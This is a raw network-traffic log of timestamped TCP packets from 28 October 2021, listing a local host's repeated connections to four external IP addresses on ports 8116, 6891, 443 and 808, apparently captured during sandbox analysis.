Oct 28, 2021 04:45:10.525785923 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.531795979 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.584892988 CEST	8116	49766	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.584995985 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.585896015 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.586025953 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.638567924 CEST	8116	49766	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.803392887 CEST	6891	49765	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.803411961 CEST	6891	49765	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.803536892 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.803575039 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.807338953 CEST	8116	49766	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.807363033 CEST	8116	49766	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.807451963 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.809077024 CEST	49765	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:10.810916901 CEST	49766	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.862607002 CEST	8116	49766	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.929358006 CEST	49767	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.971877098 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:10.971927881 CEST	443	49768	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:10.972064972 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:10.972909927 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:10.972929955 CEST	443	49768	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:10.975508928 CEST	6891	49765	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:10.977374077 CEST	8116	49767	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:10.977471113 CEST	49767	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:10.978033066 CEST	49767	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:11.025543928 CEST	8116	49767	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:11.025902033 CEST	8116	49767	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:11.025990963 CEST	49767	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:11.026700974 CEST	49767	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:11.032418013 CEST	49767	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:11.032558918 CEST	49767	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:11.080142021 CEST	8116	49767	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:11.118979931 CEST	8116	49767	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:11.250315905 CEST	8116	49767	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:11.250340939 CEST	8116	49767	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:11.250459909 CEST	49767	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:11.257694006 CEST	49767	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:11.305643082 CEST	8116	49767	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:11.383469105 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.383513927 CEST	443	49769	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:11.383604050 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.384347916 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.384365082 CEST	443	49769	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:11.491306067 CEST	443	49768	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:11.491420031 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.492275953 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.492294073 CEST	443	49768	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:11.498778105 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.498804092 CEST	443	49768	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:11.498935938 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.498955011 CEST	443	49768	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:11.883152962 CEST	443	49769	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:11.883270979 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.884056091 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.884068966 CEST	443	49769	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:11.890261889 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.890279055 CEST	443	49769	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:11.890398026 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:11.890408993 CEST	443	49769	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:12.207622051 CEST	443	49768	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:12.207699060 CEST	443	49768	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:12.207741022 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:12.207778931 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:12.210947037 CEST	49768	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:12.210980892 CEST	443	49768	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:12.333631039 CEST	49770	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:12.496490002 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:12.496702909 CEST	49770	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:12.497529984 CEST	49770	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:12.582077980 CEST	443	49769	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:12.582159042 CEST	443	49769	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:12.582285881 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:12.582313061 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:12.589936018 CEST	49769	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:12.589966059 CEST	443	49769	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:12.660228014 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:12.660257101 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:12.661967993 CEST	49770	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:12.662647009 CEST	49770	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:12.667033911 CEST	49770	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:12.667155981 CEST	49770	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:12.720324039 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:12.825243950 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:12.829634905 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:12.829652071 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:12.829659939 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:12.890429020 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:12.890584946 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:12.892124891 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.062064886 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.062237024 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.062314034 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.063230991 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.069432020 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.069583893 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.204705000 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.204725027 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.204804897 CEST	49770	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.208041906 CEST	49770	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.233103991 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.239381075 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.239398956 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.239413977 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.317513943 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:13.370647907 CEST	808	49770	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.482868910 CEST	6891	49772	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:13.483041048 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:13.483591080 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:13.618786097 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.618819952 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.618974924 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.619014978 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.627057076 CEST	49771	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:13.648941040 CEST	6891	49772	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:13.649019003 CEST	6891	49772	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:13.649183989 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:13.649873972 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:13.655198097 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:13.655343056 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:13.742417097 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:13.797074080 CEST	808	49771	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:13.821274042 CEST	6891	49772	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:13.821290016 CEST	6891	49772	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:13.909018993 CEST	6891	49773	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:13.909226894 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:13.909955978 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.076464891 CEST	6891	49773	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.076632977 CEST	6891	49773	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.076744080 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.077330112 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.082473993 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.082587957 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.204696894 CEST	6891	49772	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.204720974 CEST	6891	49772	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.204886913 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.204977989 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.208081961 CEST	49772	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.249119043 CEST	6891	49773	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.249149084 CEST	6891	49773	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.286406994 CEST	6891	49773	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.332865000 CEST	49774	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.373526096 CEST	6891	49772	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.381778955 CEST	8116	49774	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.381906986 CEST	49774	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.382699966 CEST	49774	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.431449890 CEST	8116	49774	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.431833982 CEST	8116	49774	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.431909084 CEST	49774	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.432873011 CEST	49774	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.438241005 CEST	49774	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.438384056 CEST	49774	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.487314939 CEST	8116	49774	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.491540909 CEST	8116	49774	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.491565943 CEST	8116	49774	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.636745930 CEST	6891	49773	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.636791945 CEST	6891	49773	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.636835098 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.636881113 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.645498991 CEST	49773	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:14.660965919 CEST	8116	49774	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.660993099 CEST	8116	49774	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.661102057 CEST	49774	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.664642096 CEST	49774	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.713316917 CEST	8116	49774	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.760406017 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.786957026 CEST	49776	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:14.787009954 CEST	443	49776	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:14.787101030 CEST	49776	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:14.787828922 CEST	49776	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:14.787856102 CEST	443	49776	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:14.813565969 CEST	8116	49775	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.813605070 CEST	6891	49773	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:14.813671112 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.815084934 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.867985964 CEST	8116	49775	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.868367910 CEST	8116	49775	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.868515968 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.869194031 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.874435902 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.874670982 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:14.927663088 CEST	8116	49775	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:14.927819014 CEST	8116	49775	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:15.125101089 CEST	8116	49775	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:15.125124931 CEST	8116	49775	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:15.125200033 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:15.125231028 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:15.130865097 CEST	49775	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:15.185610056 CEST	8116	49775	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:15.244461060 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.244503021 CEST	443	49777	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:15.244601965 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.245418072 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.245445013 CEST	443	49777	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:15.278666019 CEST	443	49776	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:15.278846979 CEST	49776	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.447242022 CEST	49776	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.447257996 CEST	443	49776	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:15.454648972 CEST	49776	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.454668999 CEST	443	49776	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:15.454771996 CEST	49776	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.454782963 CEST	443	49776	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:15.734009027 CEST	443	49777	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:15.735811949 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.741547108 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.741574049 CEST	443	49777	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:15.748059034 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.748086929 CEST	443	49777	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:15.748167992 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:15.748181105 CEST	443	49777	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:16.142723083 CEST	443	49776	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:16.142784119 CEST	443	49776	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:16.142915964 CEST	49776	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:16.146131992 CEST	49776	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:16.146167994 CEST	443	49776	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:16.254859924 CEST	49778	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:16.420470953 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:16.420639038 CEST	49778	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:16.421468973 CEST	49778	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:16.434114933 CEST	443	49777	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:16.434210062 CEST	443	49777	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:16.434278965 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:16.434359074 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:16.587028027 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:16.587104082 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:16.587240934 CEST	49778	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.008075953 CEST	49777	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:17.008111000 CEST	443	49777	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:17.010004044 CEST	49778	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.014687061 CEST	49778	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.014785051 CEST	49778	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.135195971 CEST	49779	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.175796032 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.180197954 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.180212975 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.180222034 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.180236101 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.180250883 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.303149939 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.303252935 CEST	49779	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.304145098 CEST	49779	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.472079992 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.472146034 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.472285986 CEST	49779	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.475796938 CEST	49779	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.481551886 CEST	49779	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.481671095 CEST	49779	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.563941002 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.563973904 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.564140081 CEST	49778	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:17.643963099 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.649642944 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.649679899 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:17.649696112 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:18.031168938 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:18.031212091 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:18.031425953 CEST	49779	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:18.197144032 CEST	49778	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:18.208286047 CEST	49779	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:18.320954084 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.356025934 CEST	49781	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.362921000 CEST	808	49778	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:18.376440048 CEST	808	49779	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:18.486313105 CEST	6891	49780	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.486555099 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.488895893 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.522428989 CEST	6891	49781	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.522633076 CEST	49781	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.539362907 CEST	49781	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.654169083 CEST	6891	49780	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.654249907 CEST	6891	49780	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.654324055 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.655057907 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.661998987 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.662142992 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.705626011 CEST	6891	49781	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.705746889 CEST	6891	49781	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.705823898 CEST	49781	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.706533909 CEST	49781	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.711884022 CEST	49781	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.712007999 CEST	49781	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:18.827325106 CEST	6891	49780	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.827354908 CEST	6891	49780	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.827364922 CEST	6891	49780	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.878343105 CEST	6891	49781	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:18.878371954 CEST	6891	49781	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:19.210989952 CEST	6891	49780	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:19.211009026 CEST	6891	49780	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:19.211081028 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:19.211113930 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:19.214396954 CEST	49780	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:19.272785902 CEST	6891	49781	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:19.272810936 CEST	6891	49781	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:19.272924900 CEST	49781	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:19.284056902 CEST	49781	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:19.333048105 CEST	49782	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.379940987 CEST	6891	49780	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:19.383723974 CEST	8116	49782	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.383886099 CEST	49782	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.384505987 CEST	49782	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.425172091 CEST	49783	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.434668064 CEST	8116	49782	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.434847116 CEST	8116	49782	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.438400030 CEST	49782	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.438977003 CEST	49782	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.444025993 CEST	49782	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.444180965 CEST	49782	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.450454950 CEST	6891	49781	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:19.473229885 CEST	8116	49783	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.473419905 CEST	49783	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.474224091 CEST	49783	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.494234085 CEST	8116	49782	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.494525909 CEST	8116	49782	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.522068024 CEST	8116	49783	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.522433996 CEST	8116	49783	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.522609949 CEST	49783	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.523519993 CEST	49783	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.528887987 CEST	49783	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.529000044 CEST	49783	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.578115940 CEST	8116	49783	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.665802002 CEST	8116	49782	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.665822029 CEST	8116	49782	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.665916920 CEST	49782	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.669533014 CEST	49782	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:19.720032930 CEST	8116	49782	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.760276079 CEST	8116	49783	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.760310888 CEST	8116	49783	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:19.760555029 CEST	49783	8116	192.168.2.5	185.56.219.47
